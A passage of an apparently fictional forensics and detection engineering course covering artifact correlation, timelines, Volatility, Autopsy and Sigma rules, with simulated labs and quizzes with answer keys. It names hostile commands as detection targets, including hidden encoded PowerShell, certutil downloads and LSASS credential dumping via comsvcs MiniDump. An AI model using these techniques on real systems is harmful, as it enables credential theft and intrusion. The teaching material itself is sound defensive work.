No single artifact tells the whole story, so correlate. Prefetch shows run time of tool.exe; Amcache shows its hash; the \$MFT shows when it was created; browser history shows where it was downloaded; an LNK file shows the user opened a document at the same time; USBSTOR shows a drive attached at 14:12. Together they form a chain that is far stronger than any one item. Note each artifact's limits and time zone, and convert to UTC consistently. State clearly what each artifact proves and what it only suggests.

Remember anti-forensic activity. Attackers or insiders may clear event logs (Security event 1102 is logged when the audit log is cleared), delete Prefetch files, or run tools from removable drives. Absence of an artifact is not proof of absence of activity; it may mean the artifact was disabled, deleted or never created. Document gaps and look for secondary evidence, such as the change journal showing that Prefetch files were deleted at a specific time.

ARTIFACT SUMMARY

```
Prefetch C:\Windows\Prefetch\RCLONE.EXE-3A1B2C4D.pf runs=3 last=2026-10-01 14:09
Amcache C:\Users\Public\rclone.exe SHA1=ab12... first=14:08
LNK Q3_customers.xlsx -> D:\ (USB, serial 0123456789)
USBSTOR Disk&Ven_Generic first=14:12 last=14:55
Chrome download rclone.zip 2026-10-01 14:06
```

WORKED EXAMPLE

On a workstation, the examiner finds that Chrome downloaded a tool at 14:06, the Amcache lists it with a hash at 14:08, Prefetch shows three runs starting 14:09, and USBSTOR shows a USB device first connected at 14:12. An LNK file shows the user opened Q3_customers.xlsx from that drive. The artifacts together support a timeline of download, execution and external-device file access in under ten minutes.

KEY TERMS

Prefetch: Files recording program execution, count and times.

Amcache: A registry hive recording executables with hashes and first-seen times.

Shimcache: Compatibility cache listing paths, not proof of execution.

LNK file: Shortcut file revealing target path and times of opened files.

USBSTOR: Registry key listing connected USB storage devices.

REMEMBER

- Prefetch, Amcache and Shimcache give execution and presence clues.
- LNK, jump lists and browser history show user activity.
- Correlate artifacts and state each one's limits.

QUICK CHECK

1. Which artifact records the SHA-1 of an executable?

- A) Amcache
- B) Prefetch
- C) LNK
- D) Jump lists

2. Shimcache entries alone prove:

- A) Execution
- B) Presence or examination of the file, not necessarily execution
- C) Network access
- D) Encryption

3. LNK files can show files opened from:

- A) Only the local disk
- B) Removable drives too
- C) Only the cloud
- D) Nothing

4. Which hive holds per-user settings?

- A) SYSTEM
- B) SOFTWARE
- C) NTUSER.DAT
- D) SAM

Answers: 1-A 2-B 3-B 4-C

1. Amcache stores SHA-1 values and first-seen times.
2. Do not overstate its meaning.
3. They retain target path and volume serial.
4. NTUSER.DAT is the user's registry hive.

Timeline analysis

A timeline puts scattered artifacts in order, revealing the story of an incident and showing which activities happened together.

MAC times

File systems keep timestamps often summarized as MAC or MACB: Modified (content changed), Accessed (read, though often unreliable or disabled), Changed (metadata or MFT entry changed) and Born (created). Their behavior differs by operating system and event. Copying a file typically gives a new created time but keeps the old modified time, so a file whose modified time precedes its created time was likely copied. Understanding these rules prevents misreadings, and NTFS keeps timestamps in both \$STANDARD_INFORMATION and \$FILE_NAME for cross-checking.

Super timelines

A super timeline combines timestamps from many sources into one chronological table: file system times, event logs, registry key writes, Prefetch, browser history, LNK files and application logs. The open-source Plaso toolkit, using log2timeline to extract and psort to sort and filter, produces such timelines, and Timesketch provides a collaborative interface. A Windows image can yield millions of rows, so filtering is essential. Start by establishing the time zone of each source and normalizing everything to UTC, noting any clock skew between systems.

Pivoting around a time of interest

Begin with an anchor: an alert time, a user report or a known malicious file creation. Examine a window of minutes before and after. Look for what led up to it, such as a download, a phishing email or a logon, and what followed, such as new processes, network connections, file creations and deletions. Pivot on discovered items: a filename, a username, a hash, a source IP address like 203.0.113.25. Expand or narrow the window as the story emerges, and note gaps that may be explained by log clearing or missing sources.

Interpreting and presenting

Treat each entry as a hypothesis until corroborated by a second source. Avoid confirmation bias: look for evidence that contradicts your theory too. Group events into phases, and record the exact meaning, such as 'file created' versus 'file last written'. Present a concise table of key events with timestamps, source artifacts and what each shows, followed by a plain-language narrative. Preserve the full timeline file and filters used, so another examiner can reproduce the view and check the conclusions.

TIMELINE EXCERPT (UTC)

```
14:06:12 Chrome download rclone.zip from example.org
14:08:40 MFT created C:\Users\Public\rclone.exe
14:09:03 Prefetch RCLONE.EXE run 1
14:12:55 USBSTOR device 0123456789 connected
14:20:31 MFT created D:\archive_q3.7z
14:31:09 USN delete C:\Users\Public\rclone.exe
```

WORKED EXAMPLE

An alert says that data left a host at about 14:20. The examiner builds a Plaso timeline, filters 14:00-14:40 UTC, and notices a download at 14:06, a new tool at 14:08, execution at 14:09 and a USB device at 14:12. An archive is created on the USB drive at 14:20, and the tool is deleted at 14:31. The minute the data was staged is established, and the report cites each source row.

KEY TERMS

MACB: Modified, Accessed, Changed and Born timestamps.

Super timeline: A merged chronological view of many artifact sources.

Plaso: A toolkit that creates super timelines (log2timeline and psort).

Pivot: Following a discovered attribute to find related events.

Clock skew: A difference between a system's clock and true time.

REMEMBER

- Combine sources into one UTC timeline.

- Anchor on a time of interest, then pivot.
- Corroborate entries and document filters.

QUICK CHECK

1. A super timeline combines:
 - A) Only disk files
 - B) Many artifact sources in one chronology
 - C) Only logs
 - D) Only memory
2. Why convert all times to UTC?
 - A) It is required by Windows
 - B) To avoid time zone confusion
 - C) To hide events
 - D) To save space
3. Pivoting means:
 - A) Deleting the timeline
 - B) Following a discovered attribute to related events
 - C) Sorting by size
 - D) Rebooting
4. Each timeline entry should be treated as:
 - A) Proof
 - B) A hypothesis until corroborated
 - C) Noise
 - D) A legal verdict

Answers: 1-B 2-B 3-B 4-B

1. It merges file, log and registry times.
2. Mixed time zones corrupt ordering.
3. You use a name, hash or IP to expand the search.
4. Corroboration prevents wrong conclusions.

Memory forensics with Volatility

Memory holds what disk does not: running processes, injected code, network connections and decrypted data. It can expose fileless malware.

Why memory matters

A memory image captures the state of a running system, including processes, loaded modules, network connections, command lines, registry fragments, encryption keys and code that was never written to disk. It is acquired live with tools like WinPmem, DumpIt or the EDR vendor's collector, writing a raw file such as mem.raw, and hashed immediately. Because acquisition disturbs memory slightly, record what you ran. Volatility, an open-source framework, analyzes these images. Volatility 3 uses plugin names like windows.pslist, while Volatility 2 used pslist and profiles.

Process listing: pslist, psscan, cmdline

windows.pslist walks the operating system's active process list, showing PID, parent PID, creation and exit times. windows.psscan scans memory for process structures, so it can find processes that were unlinked to hide, as well as terminated ones. A process in psscan but not in pslist, with no exit time, is suspicious. windows.pstree displays parent-child relations, and windows.cmdline shows each command line, such as powershell.exe -nop -w hidden -enc ... Check names and parents: svchost.exe should have services.exe as parent, and lsass.exe should be unique with wininit.exe as parent.

Network and injected code: netscan, malfind

windows.netscan lists TCP and UDP connections and listeners with the owning process, such as a connection from PID 3380 to 203.0.113.9:443 at an unusual process like notepad.exe. windows.malfind finds memory regions that are executable and writable (PAGE_EXECUTE_READWRITE) and not backed by a file on disk, a common sign of injection or reflective loading; the output often shows an MZ header or shellcode bytes in hex. False positives occur, notably with some JIT-compiled programs, so confirm using context.

Workflow and pitfalls

A typical workflow: list processes, find anomalies in parents, names and times, examine the command lines and network connections for those PIDs, run malfind on suspicious PIDs, and dump the region or module for hashing and further analysis with windows.dumpfiles or the memmap dump options. Note the image's capture time and operating system build. Symbol tables must match the Windows version. Treat results as leads, and validate them with disk artifacts, EDR telemetry and network logs.

TERMINAL OUTPUT

```
$ vol -f mem.raw windows.pslist | grep -i -E 'notepad|powershell'
3380 2104 powershell.exe 2026-10-03 02:11:40
4120 3380 notepad.exe 2026-10-03 02:12:05
$ vol -f mem.raw windows.malfind --pid 4120
PID 4120 notepad.exe 0x1f0000 PAGE_EXECUTE_READWRITE
4d 5a 90 00 03 00 00 00 ... MZ
$ vol -f mem.raw windows.netscan | grep 4120
TCPv4 192.0.2.44:49822 -> 203.0.113.9:443 ESTABLISHED notepad.exe
```

WORKED EXAMPLE

In a memory image, notepad.exe (PID 4120) has a parent of powershell.exe (PID 3380), which is unusual. malfind shows a PAGE_EXECUTE_READWRITE region beginning with an MZ header, and netscan shows that PID 4120 holds an established connection to 203.0.113.9 over port 443. The analyst concludes that code was injected into notepad.exe, identifies the PowerShell parent as the injector, and extracts the region for hashing.

KEY TERMS

Volatility: An open-source framework for analyzing memory images.

pslist: Plugin listing processes by walking the active process list.

psscan: Plugin scanning memory for process structures, finding hidden or ended ones.

malfind: Plugin finding executable, unbacked memory regions suggesting injection.

netscan: Plugin listing network connections and their owning processes.

REMEMBER

- Memory exposes injected and fileless code.
- Compare pslist and psscan; check parents and command lines.
- Use netscan and malfind, then validate with other sources.

QUICK CHECK

1. A process seen by psscan but not pslist may be:
 - A) Hidden or terminated
 - B) Safe
 - C) A driver
 - D) Antivirus
2. What does malfind look for?
 - A) Executable writable regions not backed by files
 - B) Open ports
 - C) Passwords
 - D) Kernel patches
3. Which plugin shows each process's command line?
 - A) windows.cmdline
 - B) windows.netscan
 - C) windows.malfind
 - D) windows.hashdump
4. Notepad holding an outbound HTTPS connection is:
 - A) Normal
 - B) Suspicious
 - C) A printer function
 - D) A DNS cache

Answers: 1-A 2-A 3-A 4-B

1. psscan finds unlinked or exited processes.
2. Such regions indicate possible injection.
3. cmdline displays launch arguments.
4. It suggests injected code.

Autopsy and reporting

Tools speed analysis, but findings only matter if you can report them clearly and defend how you reached them.

What Autopsy does

Autopsy is an open-source digital forensics platform built on The Sleuth Kit. You create a case, add a data source such as an E01 or raw image, and run ingest modules that process it. Typical modules include Recent Activity (browser, registry and USB artifacts), Hash Lookup, Keyword Search, File Type Identification, Extension Mismatch Detector, Embedded File Extractor, Email Parser and EXIF. Results appear in a tree by category, and you can tag items, add comments and bookmark files. Autopsy opens images read-only, preserving integrity, but you should still verify hashes.

Keyword search and hash sets

Keyword search indexes text so you can search literal strings or regular expressions across files, unallocated space and slack. Use specific terms: project names, customer identifiers, email addresses or card-number patterns, within scope. Hash sets reduce noise: the NSRL, the National Software Reference Library, lists hashes of known software, and ignoring known-good files removes most of the system files. Known-bad sets flag files already seen as malicious or contraband. Matching a hash proves the file content is identical, not that the user knew about it.

Timeline view and file analysis

The Timeline view in Autopsy charts events over time, such as file creations and web activity, so you can spot bursts like hundreds of files created within minutes, which suggests staging an archive. You can filter by type and zoom in on a period. Use extension mismatch detection to find a .jpg that is actually a ZIP, and examine deleted files recoverable from unallocated space. Cross-check key findings with other tools, for example parsing the \$MFT with MFTECmd, to confirm both the results and the tool's behavior.

A defensible report

Report structure: purpose and scope; legal authority; evidence list with hashes; tools and versions; methods; findings, each tied to a source artifact and location; interpretations clearly labeled as opinion; limitations (such as encrypted volumes, unavailable logs or time zone uncertainty); and conclusion. Use plain language for non-technical readers, include a glossary and an appendix of exhibits. Present facts neutrally and cover evidence that does not support the theory. Peer review and reproducibility steps strengthen the report's credibility and let others verify your results.

REPORT OUTLINE

```
1 Scope and authority 2 Evidence: EV-001 SHA-256 91ce...a07b
3 Tools: Autopsy 4.x, MFTECmd, Plaso (versions)
4 Findings F1..Fn (artifact, path, UTC time)
5 Interpretation (labeled opinion)
6 Limitations 7 Conclusion Appendix: exhibits, glossary
```

WORKED EXAMPLE

On an image of an employee's laptop, the examiner runs Autopsy, ignores NSRL known files, and searches for the project term 'Falcon-Q3'. A hit appears in archive_q3.7z, which Timeline view shows was created at 14:20 UTC, minutes after a USB device was attached. She tags the archive and the LNK evidence, and writes a report that lists the hashes, tools, findings and limitations, separating facts from her interpretation.

KEY TERMS

Autopsy: An open-source forensic platform based on The Sleuth Kit.

Ingest module: An Autopsy component that automatically analyzes data sources.

NSRL: A database of known software hashes used to filter benign files.

Extension mismatch: A file whose content type differs from its extension.

Limitations: The documented constraints on findings in a report.

REMEMBER

- Autopsy ingests images read-only and runs modules.
- Use keyword search and hash sets to focus.

- Write reports with scope, hashes, methods, limitations and labeled opinions.

QUICK CHECK

1. Why use the NSRL hash set?
 - A) To exclude known-good files
 - B) To find passwords
 - C) To encrypt images
 - D) To bypass legal rules
2. Which part of a report separates fact from opinion?
 - A) Interpretation labeled as opinion
 - B) Appendix
 - C) Title
 - D) Glossary
3. Autopsy Timeline view helps find:
 - A) Bursts of activity like staging archives
 - B) Hardware faults
 - C) Disk speed
 - D) Compiler flags
4. A defensible report includes:
 - A) Tools, versions, hashes and limitations
 - B) Only conclusions
 - C) Only screenshots
 - D) Attacker names

Answers: 1-A 2-A 3-A 4-A

1. It removes known software and reduces noise.
2. Opinions must be identified as such.
3. It shows when events cluster.
4. Transparency allows verification.

Verify the image

SCENARIO

You are the examiner for fictional case 2026-FX-014. An acquired image evidence.dd and the original source hash are provided in the lab shell. Before analysis you must confirm the image is an exact copy and create the chain of custody log entry. Your lead expects a written entry for each hand-off, and the original must stay untouched. The lab shell is read-only for the source, so only the working copy can be changed.

OBJECTIVE

Compute and compare hashes of the evidence image and log the custody entry.

STEPS IN THE SIMULATOR

- 1 **Do:** Run: cat source_hash.txt

Simulator shows:

SHA-256 (source SSD S/N 8Q2X-4417): 91ce4b...a07b

- 2 **Do:** Run: sha256sum evidence.dd

Simulator shows:

91ce4b...a07b evidence.dd

- 3 **Do:** Compare the two values

Simulator shows:

Values match. Image is an exact copy.

- 4 **Do:** Run: sha256sum -c hashes.txt

Simulator shows:

evidence.dd: OK

- 5 **Do:** Run: custody add EV-001 --by rivera --time 2026-10-03T11:55Z

Simulator shows:

Entry 1 saved: EV-001 collected by rivera at 11:55 UTC.

- 6 **Do:** Run: custody transfer EV-001 --from rivera --to chen

Simulator shows:

Entry 2 saved: transferred rivera -> chen, signature recorded.

- 7 **Do:** Run: chmod a-w evidence.dd

Simulator shows:

evidence.dd set read-only. Working copy created: evidence_work.dd

ANSWER

The image hash 91ce4b...a07b matches the source hash, so the image is verified. The custody log records collection by Rivera and transfer to Chen, and the master image is read-only with analysis done on a working copy.

Hint shown in the app: Compare the whole hash string, then record each hand-off.

Build a timeline

SCENARIO

A fictional analyst has MFT, event log and browser records for workstation WS-14. The suspected data theft occurred on 1 October 2026. Merge the sources in the viewer, normalize to UTC and find the minute when data was staged for removal. Nothing is wrong with any single source on its own. The challenge is aligning them in time, so spend your first step on time zones before looking for the key event.

OBJECTIVE

Merge MFT, event log and browser records and identify the staging minute.

STEPS IN THE SIMULATOR

- 1 Do: Load MFT, Security log and Chrome history

Simulator shows:
3 sources loaded: 41,220 rows. Time zones: MFT UTC, Chrome local (UTC-5), logs UTC.

- 2 Do: Normalize all to UTC

Simulator shows:
Chrome times shifted +5h. 41,220 rows normalized.

- 3 Do: Filter 14:00 to 14:40 UTC

Simulator shows:
212 rows remain.

- 4 Do: Find the browser rows

Simulator shows:
14:06:12 Chrome download rclone.zip from example.org

- 5 Do: Find the MFT rows

Simulator shows:
14:08:40 created C:\Users\Public\rclone.exe; 14:20:31 created D:\archive_q3.7z

- 6 Do: Find the log rows

Simulator shows:
14:12:55 Event 6416 USB device connected; 14:31:09 file deleted rclone.exe

- 7 Do: Mark the staging event

Simulator shows:
Marked 14:20:31 UTC archive_q3.7z created on D:

ANSWER

Data was staged at 14:20 UTC when archive_q3.7z was created on the USB drive D:. This follows the 14:06 download, 14:08 tool creation and 14:12 USB connection, and precedes the 14:31 deletion of the tool.

Hint shown in the app: Fix the time zones first or the order will be wrong.

Volatility triage

SCENARIO

A fictional memory image mem.raw was captured from host WS-14 (192.0.2.44) and hashed. You are in the lab shell with Volatility 3. Review process and injection output to find the injected process and its parent, then note the connection it holds. The image is already hashed and recorded. You are not expected to extract malware, only to read the plugin output and draw a defensible, evidence-based conclusion.

OBJECTIVE

Run pslist and malfind output review to find the injected process and its parent.

STEPS IN THE SIMULATOR

- 1 **Do:** Run: vol -f mem.raw windows.pslist

Simulator shows:

PID 2104 winword.exe; 3380 powershell.exe PPID 2104; 4120 notepad.exe PPID 3380; others normal

- 2 **Do:** Run: vol -f mem.raw windows.pstree

Simulator shows:

winword.exe > powershell.exe > notepad.exe chain highlighted

- 3 **Do:** Run: vol -f mem.raw windows.cmdline --pid 3380

Simulator shows:

powershell.exe -nop -w hidden -enc JAB...

- 4 **Do:** Run: vol -f mem.raw windows.malfind

Simulator shows:

PID 4120 notepad.exe 0x1f0000 PAGE_EXECUTE_READWRITE, MZ header

- 5 **Do:** Run: vol -f mem.raw windows.netscan | grep 4120

Simulator shows:

TCPv4 192.0.2.44:49822 -> 203.0.113.9:443 ESTABLISHED

- 6 **Do:** Run: vol -f mem.raw windows.psscan | grep 4120

Simulator shows:

Process found; no exit time. Consistent with pslist.

ANSWER

The injected process is notepad.exe (PID 4120), which contains a PAGE_EXECUTE_READWRITE region with an MZ header and holds a connection to 203.0.113.9:443. Its parent is powershell.exe (PID 3380), itself launched by winword.exe, indicating a macro-based injection chain.

Hint shown in the app: Find the process with an unusual parent and executable unbacked memory.

Autopsy keyword search

SCENARIO

A fictional disk image, evidence_work.dd, is loaded in a simulated Autopsy. Investigators want to know which archive carried company data off the laptop. Use keyword search, hash sets and file filters to find and flag it. The image is read-only in the tool and you are limited to the scope in the written authorization. Report only what supports the question asked.

OBJECTIVE

Search an image for keywords, filter by hash set and flag the exfiltrated archive.

STEPS IN THE SIMULATOR

- 1 **Do:** Open case 2026-FX-014 and run ingest modules

Simulator shows:

Ingest complete: 218,440 files, Hash Lookup, Keyword Search, Extension Mismatch.

- 2 **Do:** Apply NSRL known-good hash set filter

Simulator shows:

Hidden 201,902 known files. 16,538 remain.

- 3 **Do:** Search keyword: Falcon-Q3

Simulator shows:

3 hits: q3_plan.docx, notes.txt, archive_q3.7z

- 4 **Do:** Open archive_q3.7z properties

Simulator shows:

Path D:\archive_q3.7z, created 14:20:31 UTC, 48 MB, SHA-256 5d77...c3a1

- 5 **Do:** Run Extension Mismatch filter

Simulator shows:

No mismatch on archive_q3.7z; 2 .jpg files are ZIP type, unrelated.

- 6 **Do:** Check Timeline view around 14:20

Simulator shows:

Burst of 126 file creations under D: between 14:19 and 14:21.

- 7 **Do:** Tag archive_q3.7z as Evidence and add comment

Simulator shows:

Tagged: Exfiltration candidate; comment saved.

ANSWER

The exfiltrated archive is archive_q3.7z on D:, created at 14:20:31 UTC with matching project keywords and a burst of file creations. Flag it as evidence, record its SHA-256 and path, and include it in the report with the timeline.

Hint shown in the app: Remove known-good files first, then search for the project term and check the timeline.

Digital Forensics Essentials: 10 questions, 80% to pass

1. A write blocker is used to:
 - A) Speed up imaging
 - B) Prevent writes to evidence media
 - C) Encrypt images
 - D) Hash files
2. Which data is collected first by order of volatility?
 - A) Disk
 - B) Memory
 - C) Archive
 - D) Backups
3. Matching source and image hashes demonstrate:
 - A) An exact copy
 - B) Guilt
 - C) Encryption
 - D) Clean drive
4. NTFS stores a record per file in:
 - A) \$MFT
 - B) GPT
 - C) Registry
 - D) Prefetch
5. Which artifact records an executable's SHA-1 and first-seen time?
 - A) Amcache
 - B) LNK
 - C) Browser history
 - D) USBSTOR
6. Shimcache presence alone shows:
 - A) The file existed or was examined, not proof of execution
 - B) Definite execution
 - C) Network use
 - D) Deletion
7. Why normalize timeline sources to UTC?
 - A) To avoid time zone mismatches
 - B) To save disk
 - C) To hide events
 - D) It is legally required everywhere
8. A process in psscan but not pslist may be:
 - A) Hidden or terminated
 - B) Safe
 - C) Kernel only
 - D) A service
9. malfind flags regions that are:
 - A) Executable, writable and not file-backed
 - B) Read-only
 - C) Compressed
 - D) Encrypted files
10. A defensible report should:
 - A) List tools, hashes, findings and limitations
 - B) Only state conclusions
 - C) Omit contrary evidence
 - D) Avoid timestamps

Answers: 1-B 2-B 3-A 4-A 5-A 6-A 7-A 8-A 9-A 10-A

1. It preserves the original.
2. Memory is the most volatile.
3. Identical digests show integrity.
4. The Master File Table holds file records.
5. Amcache stores these values.
6. Avoid overstating.
7. Consistent time prevents ordering errors.
8. psscan can find unlinked processes.
9. These suggest injected code.
10. Transparency and reproducibility matter.

Detection Engineering

Advanced | 7 lessons | 5 simulated labs | checkpoint | about 6h 25m

Detection engineering turns attacker behavior into reliable, tested alerts. This module follows the full lifecycle from requirement to retirement, then teaches the three rule languages every SOC meets: Sigma for logs, YARA for files and memory, and Snort or Suricata for network traffic. You will learn how to balance precision against resilience, validate rules with replayed and benign data, and manage everything as code with Git, pull requests and CI. Good detections are the difference between a quiet, trusted queue and an unmanageable flood of noise.

BY THE END YOU CAN

- + Write Sigma, YARA and Suricata rules from observed behavior
- + Test and tune detections against benign and malicious data
- + Manage detections as code with version control

IN THIS MODULE

Lesson 1 Detection engineering lifecycle

Lesson 2 Sigma rules

Lesson 3 Detection logic design

Lesson 4 YARA rules

Lesson 5 Snort and Suricata rules

Lesson 6 Testing and tuning

Lesson 7 Detection as code

Lab 1 Write a Sigma rule (Code editor)

Lab 2 Fix an over-broad rule (Mock SIEM)

Lab 3 Write a YARA rule (Code editor)

Lab 4 Suricata signature (Config editor)

Lab 5 Review a detection PR (Chat sim)

Checkpoint 10 questions, 80% to pass

Detection engineering lifecycle

A rule written once and never measured decays into noise or blind spots. A lifecycle keeps detections tied to real risk and honest about their value.

From requirement to hypothesis

Every detection starts with a requirement: a threat report, a red team finding, an incident lesson, or a gap against MITRE ATT&CK coverage. The engineer turns that into a hypothesis such as 'if an attacker dumps credentials from LSASS, a non-system process will open lsass.exe with read access to its memory'. A good hypothesis names the technique, the telemetry that would show it (for example Sysmon Event ID 10, ProcessAccess), and the benign activity that might look similar. Without this step teams write rules from a single sample and miss the underlying behavior.

Build, test and deploy

Building means choosing the data source, writing the logic and attaching metadata: title, description, severity, ATT&CK tags, owner and known false positives. Testing runs the rule against a known-malicious sample, usually an Atomic Red Team test or a replayed log, and against a week or more of benign production data to count hits. Deployment is staged: first as a silent or low-severity rule that only logs matches, then promoted to a ticket-creating alert once precision is acceptable. A runbook link should ship with the rule so the analyst knows what to do.

Measure

After deployment the team tracks metrics per rule: alert volume, true positive rate, mean time to triage, how many alerts were closed as benign, and whether any incident was found by this rule first. A rule that fires 400 times a day with a 1 percent true positive rate is costing analyst hours and teaching the team to ignore alerts. Rules that never fire are not automatically good either; they should be exercised periodically by purple team tests to prove the telemetry and logic still work.

Retire

Environments change. A rule built for a legacy tool, a patched vulnerability, or a log source that was decommissioned should be retired deliberately, with a record of why. Retirement keeps the rule set small enough to review and maintain. Rules are also revised when attackers change behavior, when a new Windows version alters event fields, or when tuning exceptions have grown so large that the original logic is unrecognizable. Treat the cycle as continuous rather than a one-time project.

Ownership matters throughout the cycle. Each rule should have a named owner who answers questions from analysts, reviews its metrics every quarter and decides when it changes. Without an owner, rules drift: the author leaves, exceptions pile up and nobody remembers what the rule was meant to catch. Many teams also keep a coverage backlog ranked by risk, so the next rule built is the one that closes the most important gap against the threats that actually target the organization, rather than whichever technique is currently fashionable in conference talks.

RULE METADATA

```
title: LSASS access by non-system process
status: test
owner: detection-team
attack: T1003.001
source: Sysmon EventID 10
fp_rate_7d: 3 hits, 2 benign backup agent
stage: silent -> alert
review_date: 2027-01-15
```

WORKED EXAMPLE

A threat report says a fictional group uses scheduled tasks for persistence. The engineer writes the hypothesis (T1053.005, new task created with an action pointing to a user-writable path), picks Windows Security Event 4698 and Sysmon process creation of schtasks.exe, builds the rule, replays an Atomic Red Team test, then runs it on 14 days of data. It matches 9 benign software updaters, so an allowlist by signer is added, and the rule is promoted from silent to alert with a runbook link.

KEY TERMS

Hypothesis: A testable statement of what attacker behavior will look like in specific telemetry.

Telemetry: The logs or events that record activity and can feed a detection.

Silent mode: Deploying a rule so it records matches without creating tickets.

False positive: An alert on benign activity.

Purple team: Joint red and blue exercise that tests whether detections fire.

REMEMBER

- Start from a requirement and a testable hypothesis tied to telemetry.
- Test on malicious samples and benign data, deploy in stages.
- Measure each rule and retire or revise it when it no longer earns its keep.

QUICK CHECK

1. What should a detection engineering cycle begin with?
 - A) A requirement and a testable hypothesis
 - B) A SIEM license renewal
 - C) A rule copied from a vendor feed
 - D) A list of all log sources
2. Why deploy a new rule in silent mode first?
 - A) To make it run faster
 - B) Because Sigma requires it
 - C) To hide it from auditors
 - D) To measure real-world hits before it creates tickets
3. Which metric best shows a rule is costing more than it delivers?
 - A) Short rule title
 - B) High volume with very low true positive rate
 - C) Recent commit date
 - D) Large number of tags
4. Why retire rules?
 - A) To reduce Git history
 - B) To keep the rule set maintainable and relevant to the current environment
 - C) Because rules expire after 90 days
 - D) To lower storage cost only

Answers: 1-A 2-D 3-B 4-B

1. Rules need a clear threat requirement and hypothesis to be meaningful.
2. Silent mode reveals noise without burdening analysts.
3. High volume with few true positives wastes analyst time.
4. Obsolete rules add noise and maintenance burden.

Sigma rules

Sigma is the common, vendor-neutral format for log detections, so one rule can be shared and converted to many SIEM query languages.

Structure of a Sigma rule

A Sigma rule is a YAML file. Metadata fields include title, id (a UUID), status (experimental, test, stable), description, author, date and tags such as attack.execution and attack.t1059.001. The logsource block says where the rule applies, using category (for example process_creation), product (windows) and optionally service. The logsource is abstract: it is not a table name, which is what lets a backend map it to the right index or event ID for each platform. A rule missing a logsource cannot be converted reliably.

Detection, selection and condition

The detection section holds named selections and a condition. Each selection is a map of field names to values, for example Image|endswith: '\winword.exe'. Modifiers after the pipe change matching: contains, startswith, endswith, re, and all (every listed value must match). Multiple fields in one selection are ANDed; a list of values is ORed. The condition combines them with and, or, not, parentheses and keywords like 1 of selection_* or all of them. Filters are written as separate selections and excluded with 'and not filter'.

Metadata that matters

The falsepositives list documents known benign causes, such as 'administrative scripts using encoded commands', and the level field (informational, low, medium, high, critical) sets default severity. Tags map the rule to MITRE ATT&CK so coverage can be reported. A reference list points to the report or blog that inspired the rule. These fields are not decoration: reviewers and analysts depend on them to judge whether an alert is believable.

Conversion to SIEM queries

Tools such as sigma-cli with pySigma backends convert a rule into Splunk SPL, Microsoft Sentinel KQL, Elastic queries and others, using a processing pipeline that maps Sigma field names to the platform's schema. Always inspect the converted output and run it against test data; field mappings differ between environments, and a query that converts cleanly can still match nothing if the field names are wrong.

Real-world rule files often hold several related detections. Sigma supports correlation and also lets one rule be split into a generic detection plus environment-specific filters kept in a separate file, which is a clean way to maintain exceptions without editing the shared logic. Keep the id field stable across edits so that alert history in the SIEM remains linked to the rule, and use the related field to point at rules that supersede or complement it. Good titles describe behavior, not tools, for example 'Office Application Spawning Encoded PowerShell'.

SIGMA RULE (YAML)

```
title: Encoded PowerShell From Office
id: 7b1c2f9e-0000-4000-8000-000000000001
status: test
logsource:
  category: process_creation
  product: windows
detection:
  selection_parent:
    ParentImage|endswith: ['\winword.exe', '\excel.exe']
  selection_child:
    Image|endswith: '\powershell.exe'
    CommandLine|contains: ' -enc'
  condition: selection_parent and selection_child
falsepositives:
  - Rare macro-driven admin tools
level: high
```

WORKED EXAMPLE

A rule must catch Word launching PowerShell with an encoded command. The engineer defines selection_parent for ParentImage ending in winword.exe or excel.exe, selection_child for powershell.exe with CommandLine containing ' -enc', and a condition joining them. After converting to KQL with a Sentinel pipeline, the query returns nothing on test data because the pipeline mapped CommandLine to a different column. Fixing the mapping makes the Atomic test fire, proving why converted output must be tested.

KEY TERMS

logsource: The Sigma block that abstracts which log type the rule applies to.

selection: A named set of field conditions inside detection.

Modifier: A suffix such as contains or endswith that changes how a value matches.

condition: The boolean expression combining selections.

pySigma: The Python framework behind sigma-cli that converts rules to backend queries.

REMEMBER

- Sigma = YAML with logsource, detection selections and a condition.
- Modifiers and filters shape precision; falsepositives and tags document intent.
- Convert with pySigma, then always test the converted query.

QUICK CHECK

1. In a Sigma selection, how are two different fields combined?
 - A) AND
 - B) OR
 - C) Ignored
 - D) XOR
2. What does the all modifier do on a list of values?
 - A) Disables the field
 - B) Matches any value
 - C) Requires every value to match
 - D) Converts to regex
3. Why is logsource abstract?
 - A) So backends can map it to different platforms
 - B) To hide the data
 - C) To reduce file size
 - D) It is optional
4. A converted query returns no results on a known test. Most likely cause?
 - A) Rule is too old
 - B) YAML indentation
 - C) Sigma is broken
 - D) Field mapping in the pipeline does not match the schema

Answers: 1-A 2-C 3-A 4-D

1. Fields within one selection are ANDed.
2. Values|contains|all requires all values.
3. Abstraction enables conversion to many SIEMs.
4. Field name mapping errors are the common cause.

Detection logic design

The same behavior can be detected naively or robustly. Design choices decide whether an attacker evades the rule with a trivial change.

Specificity versus resilience

A rule that matches an exact tool name or hash is highly specific but easy to evade: rename the binary and it is blind. A rule that matches a behavior, such as any process accessing LSASS memory with specific access rights, is more resilient but may produce more false positives. Good engineering sits between them. David Bianco's Pyramid of Pain describes this: hashes and IPs are cheap for attackers to change, while tactics and procedures are costly. Prefer detections higher on the pyramid, and keep cheap indicator rules as short-lived supplements.

Command lines and parent-child

Command-line patterns capture intent: arguments like `-EncodedCommand`, `-w hidden`, `certutil -urlcache`, or `rundll32 with comsvcs.dll MiniDump`. Parent-child relationships capture context: `winword.exe` spawning `powershell.exe`, or `w3wp.exe` spawning `cmd.exe`, is rarely legitimate even when the child is a normal tool. Combining both gives strong signal. Account for evasion such as case changes, caret insertion in `cmd`, and alternative flag spellings (`-e`, `-enc`, `-EncodedCommand`), using regex or multiple values rather than one literal.

Rarity and thresholds

Some behavior is only suspicious when unusual. A rule may alert when a process name is seen on fewer than three hosts in 30 days, or when one account fails logon more than 10 times in 5 minutes from a single source. Thresholds need a time window and a grouping field, and they should be derived from observed baselines, not guesses. Beware thresholds set just below attacker speed; slow, low-volume attempts evade them, which is why detections for slow activity use longer windows or complementary hunts.

Allowlists and exceptions

Every exception weakens a rule, so make exceptions narrow. Exclude a specific signed binary path run by a named service account, not all PowerShell from the admin subnet. Record why each exception exists and who approved it. Review exceptions periodically, since attackers may abuse the very tools you allowlisted. When a rule needs more than a few exceptions, reconsider the logic itself.

Consider also how the data is collected. A command-line rule is only as good as the logging policy behind it: Windows event 4688 records command lines only when the audit policy and the registry setting for command-line inclusion are enabled, and Sysmon Event ID 1 records them with hashes and the parent command line. When the rule depends on a field that is missing on some hosts, the engineer must note that gap, since an attacker on an unmonitored host would never trigger the alert.

NAIVE VS BETTER

```
NAIVE: Image endswith '\mimikatz.exe'
BETTER: EventID 10 TargetImage endswith '\lsass.exe'
